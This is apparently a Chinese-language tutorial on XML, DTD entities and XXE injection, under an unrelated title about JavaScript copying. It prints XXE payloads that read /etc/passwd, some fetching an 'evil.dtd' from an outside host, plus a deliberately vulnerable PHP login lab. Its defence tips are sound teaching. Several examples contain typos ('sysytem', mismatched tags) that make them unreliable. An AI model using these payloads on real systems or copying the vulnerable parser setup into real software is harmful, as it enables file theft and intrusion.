Javascript 實現複製(Copy)動作大全
XML基礎
XML基礎知識
XML用於標記電子檔案使其具有結構性的標記語言,可以用來標記資料、定義資料型別,是一種允許使用者對自己的標記語言進行定義的源語言。XML文件結構包括XML宣告、DTD文件型別定義(可選)、文件元素。
<?xml version="1.0"?> //xml宣告 <!DOCTYPE note [ <!ENTITY note (to,from,heading,body)> <!ENTITY to (#PCDATA)> <!ENTITY from (#PCDATA)> //文件型別定義 <!ENTITY heading (#PCDATA)> <!ENTITY body (#PCDATA)> ]> <note> <to>George</to> <from>John</Ffrom> <heading>Reminder</heading> //文件元素 <body>Don't forget the meeting!</body> </note>
DTD(文件型別定義)的作用是定義 XML 文件的合法構建模組。DTD 可以在 XML 文件內宣告,也可以外部引用。
DTD元素
DTD屬性
實體是用於定義引用普通文字或特殊字元的快捷方式的變數
實體引用是對實體的引用
實體可在內部或外部進行宣告
內部實體宣告語法
外部實體宣告語法
附上例項:
內部實體宣告 DTD 例項: <!ENTITY writer "Donald Duck."> <!ENTITY copyright "Copyright runoob.com"> XML 例項:<author>&writer;©right;</author>
外部實體宣告
DTD 例項:
<!ENTITY writer SYSTEM "http://www.runoob.com/entities.dtd"> <!ENTITY copyright SYSTEM "http://www.runoob.com/entities.dtd">
XML 例項:<author>&writer;©right;</author>
注: 一個實體由三部分構成: 一個和號 (&), 一個實體名稱, 以及一個分號(;)
XML外部實體注入(XML External Entity)
當允許引用外部實體時,通過構造惡意內容,可導致讀取任意檔案、執行系統命令、探測內網埠、攻擊內網網站等危害。 引入外部實體方式有多種,比如:
惡意引入外部實體方式1:
XML內容:
<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY b sysytem "file:///etc/passwd">
]>
<c>&b;</c>
惡意引入外部實體方式2:
XML內容:
<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY %d sysytem "http://mark4z5.com/evil.dtd">
%d;
]>
<c>&b;</c>
DTD檔案(evil.dtd)內容:
<!ENTITY b sysytem "file:///etc/passwd">
惡意引入外部實體方式3:
XML內容:
<?xml version="1.0"?>
<!DOCTYPE a sysytem "http://mark4z5.com/evil.dtd">
<c>&b;</c>
DTD檔案(evil.dtd)內容:
<!ENTITY b sysytem "file:///etc/passwd">
另外,不同程式支援的協議不一樣,
上圖是預設支援協議,還可以支援其他,如PHP支援的擴充套件協議有
防禦XXE攻擊方法
方案一、使用開發語言提供的禁用外部實體的方法
PHP:
libxml_disable_entity_loader(true);
其他語言:
https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Shee
方案二、過濾使用者提交的XML資料
關鍵詞:,SYSTEM和PUBLIC。
xxe——php
github下載好之後,將php放在phpstudy的WWW檔案下即可訪問
抓包進行分析,通過post進行傳輸
檢視原始碼
<?php
/**
* autor: c0ny1
* date: 2018-2-7
*/
$USERNAME = 'admin'; //賬號
$PASSWORD = 'admin'; //密碼
$result = null;
libxml_disable_entity_loader(false); //false所以允許載入外部例項
$xmlfile = file_get_contents('php://input'); //這裡面因為沒有xml文件所以用的是php的偽協議來獲取我們傳送的xml文件
try{
$dom = new DOMDocument(); //建立XML的物件
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom); //這一步感覺相當於例項化xml文件
$username = $creds->username; //獲取username標籤的值
$password = $creds->password; //獲取password標籤的值
if($username == $USERNAME && $password == $PASSWORD){ //將獲取的值與前面的進行比較。
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username); //注意必須要有username這個標籤,不然的話找不到username,就沒有了輸出了,我們也不能通過回顯來獲取資訊了
}else{
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username); //與上方相同,都會輸出username的值,都可以達到我們的目的
}
}catch(Exception $e){
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());
}
header('Content-Type: text/html; charset=utf-8');
echo $result;
?>
構造的payload最後輸出在username裡面
]>
xxe——python
由於原始碼需要flask模組,所以先用pip下載flask模組然後再執行py檔案,然後訪問http://127.0.0.1:5000/